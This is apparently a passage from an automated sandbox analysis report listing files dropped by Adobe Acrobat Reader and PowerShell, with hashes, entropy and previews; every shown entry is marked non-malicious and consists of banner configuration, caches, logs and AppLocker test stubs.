Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3082368980756005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfzdPeUkwRe9:YvXKXzH+q0LV0cOGb8Ukee9
MD5:	E0245ED05169C7A40E1F8460C64EF06C
SHA1:	F2B83F4257559AB67F9603E3B263426FC73220A8
SHA-256:	617B2DBAFF1C2FA45B5419E5566C688A76E7CA9A62BDB034D8451E46DC482457
SHA-512:	B8FBFDB1343D6BC7A0676D877FE55CF76D0A3DF4150A4BBD92CFB2FF3E6E2365B900B508F5532875B70ECE17C445EDA816C38EF6334AC8E09EF2FC410B8B0344
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28864963622279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfYdPeUkwRe9:YvXKXzH+q0LV0cOGg8Ukee9
MD5:	02C02FE185496229756F0EE7FAEA328A
SHA1:	AC3523B9F7258BD19BE103655C7EFA9BCA55AD6C
SHA-256:	C48D9C0020E84C0DD424E28E644D498265EDEE7DD32DAD4B488D4CFB4FBA88E0
SHA-512:	A542993B208EA25AC6351BAE74BE922FA4727C9CE2409E5E9592A934F36F1295B5661BD6682C74DEAAA299F1B9E81546BD61704E6A81363CFFE3BEE471E79F74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275349019687133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJf+dPeUkwRe9:YvXKXzH+q0LV0cOG28Ukee9
MD5:	21DD7D16995DBCBDB27EEE1F993EDF26
SHA1:	F72B7DE9EA32F298BBE2C47F8B82219004D3CE58
SHA-256:	47E215D181FCAA6CE0C8C5A1352002E34FEF75F10831C1268979D3607A6B2C97
SHA-512:	952974B05CAF5F9ED1A8D9A479D03B092F044BC8ACF120E5091E991A16BFC417A70E8620605216EE2914EC213F4EB82B692371BB7840C55FBFA9D16AB9286501
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.272274743269693
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfbPtdPeUkwRe9:YvXKXzH+q0LV0cOGDV8Ukee9
MD5:	3E4A4EFC45470894F7D2032A3B2E5E5B
SHA1:	120039E6E57AF677ED9AA9E3CC7AE44E21D83BD9
SHA-256:	C24D4072E81DD0703FB783EED5B6F5F5AD1246AC65391A95389A4E00431FC468
SHA-512:	72A421A2EFC2717C7476AF175E363C2ED39698CDA6A7A8B2CD17690E19A703F7643D87E45D552F82F85664A98608DAE90879E2713A4E49A65FA892981A817944
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2754989575985425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJf21rPeUkwRe9:YvXKXzH+q0LV0cOG+16Ukee9
MD5:	738D348E7FD96A6E9A0FCA2C2596775E
SHA1:	E6B402A1B61563C7691744F3CF090FE165F88897
SHA-256:	86196BB6938573083E2D5D8925FF12945734E818DCAB415EDE0767576FB78A31
SHA-512:	FB6C9C9BCCB1BD420BFE72F8C3326E2BAE6F97E9A4E9A8C85B023576DF72CBBF53AE75FBB7A5ACCC5886608F909FFF177CFEA7FA9CCE08F1B0282BB24AE9C6DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662120348983484
Encrypted:	false
SSDEEP:	24:Yv6Xzeq0hZ7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:YvkSBgkDMUJUAh8cvMh
MD5:	AEFD6BC7262AAA2801A8A8A202A313E1
SHA1:	68A4CEE54997FF7CB43729A1867C52C2DCA01937
SHA-256:	CC8DBAAF6AEB1B0D7D0901272E8D8B3DD60B78D5F18E7C9369C4E60E6F13C09B
SHA-512:	7C357F9AB7E6440326EB6CF2E0F81C68425EBD9AEF1EC62243432ABC2BC2EEA0343EB0F92A2EDFCAA261826768F03BAA10C83AAE178DAD9E7E1776ACE67E7C4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.252071810157095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJfshHHrPeUkwRe9:YvXKXzH+q0LV0cOGUUUkee9
MD5:	30B2AB46AA2347F2C6F7F6744C5DBD6E
SHA1:	807772ECC7534E5D7755C0DA93AC7FE053BEE368
SHA-256:	568925F2EEC44670C2B142C913B2366D3D8FF8EBFD0323AA38A034D4DEF5C87F
SHA-512:	8CC4CE822792740A93E410CA3AFBFB8F608612B042D3B487C6AD2919ABA49EC03BC76C9F4D3D371029C33EC029BB1EBCC17B7B9DBCD120CF5E387A53DB811901
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.271021009097478
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNyQH+cLA1LV0nZiQ0YSdoAvJTqgFCrPeUkwRe9:YvXKXzH+q0LV0cOGTq16Ukee9
MD5:	71ADFE05B93AD45470F150D1BCF38131
SHA1:	BA9C1C42995E267F0AB0D771F3934E9C97A48203
SHA-256:	98BC6DDB4B4CB0B4868DDF82702B85F2C658A60AF9D64CB5B73A251895265CA8
SHA-512:	1DFCFE79C4F746F1BE877C864A1E735C4611A1BE18E2C59BE89F910BFD26A5960CB4CB9B4ECCE7A14A54B2FBF67B36C0730A336F6969EE12324299D9D2F58A3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"183b76ae-e1bd-4559-8615-f80fde6d4ea6","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736716537704,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1310143225861236
Encrypted:	false
SSDEEP:	24:YMWAJa773ayP+5Zg4bi4+trjuj0S96jA126V/2LSXC14FGdljZdG7dW57JrZ9ruq:Yf7B2ZFbirQYcf/JDFG7FdG8pP9h
MD5:	33D30B9F40DC308ADE84DFD070F16F5E
SHA1:	5655DA274D17BB1E2E1D9EB7E63F28041458CD0F
SHA-256:	C7EC708400C4501F165D341864AE7E381C1706E5F8DD7296F5BFE5838979AA5A
SHA-512:	C73DEF660694E5BE52E5CD8DAC3C9E4A3A4E0A6507B396A7DC1D49893F35AE1958E10D528F9B3F708108E079E43DEB278A4179C97EE354B200A58A95BCDB8023
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a57763353eeba7dc3d195ce0dcaebca3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736536687000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"fa73608aa8fdd54d2e99fefac32a6a8c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736536687000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bf1ff2f57dd25af5025326f824b39475","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736536687000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"73fa5d91290f3d012b8446800817c9bf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736536687000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d69dd9c736f359723062426919039871","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736536687000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"48f103faeb821429d26b74d78415a7b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1457705642041975
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursT0RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcH:TFl2GL7msyXc+XcGNFlRYIX2v3kn
MD5:	2C84BAA8A52379544A4792A2802DD69E
SHA1:	D1CF66A33C16EE5306FE3C8985F43E3D07889946
SHA-256:	4EE3DBFF5FBFB8E68859048EE3E9DCD21C9DDBF5D4103DDCFA35C22893941C6F
SHA-512:	C44F7167D9452FB4EA67BB047925AFA57974713F5F5D3F1AA91D7946B01182B724445C563FF523767DB9B89C962C9FAB228D2D72D0D378E9DE343BE9E0A142A7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5479781091990419
Encrypted:	false
SSDEEP:	24:7+t5R0UXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxzoqLxx/XW:7MBXc+XcGNFlRYIX2v1qVl2GL7msg
MD5:	A393E6A5B9136D631EF90851AC3D7A03
SHA1:	69E358663975E3282CBFE5438E7A1BE644B57E2D
SHA-256:	D3F6B519367673E1884517C9B3B4F1C1A7E6D83841F636BEFD9D8255C0F16BF6
SHA-512:	A1C1F9C6FB491E0E016D8A7F75CD6E9B79A18E3884DDD9E8DEC48A3BA81223055A8DAFC39F65316F64DF96EC179DF812A84A4ECB44C76F842E49E4EBEA053445
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgDwktauTTsUuQQhM6zbAthJxzQUYyu:6a6TZ44ADEMkt3TRPQhWxEUK
MD5:	E2CDE65B2AA197D1A3BBB57CDB7A820B
SHA1:	FE2703F97EE4A86FB34789CFDB3D92A8992BE8F0
SHA-256:	D058F18376C64295F77CD95829F6E7A35592CB3E1FA14F8A667007D6714226EC
SHA-512:	F08807626E0B30BBE2098E54D20C31BE04E5B70BC32427DB686E138710BB79DA2135E4B5C61FFB9F0A90A880AD6643D69DB932E2A7FB22ED1B0772CE2747183F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI20f24.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.516674370985874
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClER/le:Qw946cPbiOxDlbYnuRK+bD6
MD5:	55DACD43D179A7910B9E476E733C1F56
SHA1:	6AF3B4966C3BC07765DC254746149F21ED276A40
SHA-256:	FBA1BBCB7E998068213D0343ADBDB7B1686FFD7E28B7063A07479E6A96DFA466
SHA-512:	3B06457C26C55DA919078489541E819FACB9E890D93FB29FB6095C1871568968EF6E66D1852602DCCCF7B190C71A83FA42500B196236377BDB8AAADC16BA648A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.1.8.:.0.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m51ybksz.a0i.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_roj2pyxv.i2h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9148it5_1099bx4_4do.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.991711953425244
Encrypted:	true
SSDEEP:	1536:Ovj3fXvOA7zO3qgSPp67cNtHbKpPBXrzyUVLOhCyhrzDDvc4DZsRMRa5+:OvjeSq37BcXWpJ/PwBI4lsRMoA
MD5:	ECCADB94213BE768928DAE91331272A9
SHA1:	14396A5AEB3EFE29984D870EF48A7DAB319544E3
SHA-256:	9C5EA7E9581598F699454E34F88913292C859D00FB4C26C16C22A223909E5EF3
SHA-512:	519E290AD39581533E3C2AE8CCE381544962F35C1CBFDCD109F185FEDB493B7067C21D9865CA6BD639F9EC9344229668E6E3F821EDAA20BDAB9E0E25792126D3
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-18-00-486.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.355761535742099
Encrypted:	false
SSDEEP:	384:q95rbreqTq9qEqL1qsqDqhq8qCqF1ss1fv+vaeseopbpfp6plpPjjcjrjnjlCpCp:SJA
MD5:	0775BF999178513D714B577E4CC6F703
SHA1:	99A2D16ED7BCCDEC1A36BA2A67428805B9EBB517
SHA-256:	A6C56317F7B50D2112B4E4BEAEE671283708F87AFCC9F996553DDBAD4A3387AE
SHA-512:	F200864C24C3943715859DE1CBFF80E37AF3F758EE686AD8C0F61B1D698549CD6F7F8E90C541BC95BF5DBA5B29279807DB5C2EA15538D3700A787B59EE447062
Malicious:	false
Preview:	SessionID=2a8232f1-ab09-4c43-b3ac-07a78363ed4d.1736536680529 Timestamp=2025-01-10T14:18:00:529-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2a8232f1-ab09-4c43-b3ac-07a78363ed4d.1736536680529 Timestamp=2025-01-10T14:18:00:530-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2a8232f1-ab09-4c43-b3ac-07a78363ed4d.1736536680529 Timestamp=2025-01-10T14:18:00:530-0500 ThreadID=7632 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2a8232f1-ab09-4c43-b3ac-07a78363ed4d.1736536680529 Timestamp=2025-01-10T14:18:00:531-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2a8232f1-ab09-4c43-b3ac-07a78363ed4d.1736536680529 Timestamp=2025-01-10T14:18:00:531-0500 ThreadID=7632 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389815702673531
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbQEcbSIAEcb1:V3fOCIdJDeitAX
MD5:	087917841AEC4B7809CAD7893746D864
SHA1:	7DC1E04DE4C04C0010DD40BBCF9CB5334ECC803C
SHA-256:	9B8213D51E60662D40E4721D60F386E342DA617D5F1B6FE69DAD1A7B91690EDE
SHA-512:	757CCC712F27B59679E7682B188CC987B201C1733E337FEDC3FA0F61D548156F2A8F8B3538D34F4F7A9E7DBAE87A3F0B2DA297F30CEA59EC82E6A42682AAC78A
Malicious:	false
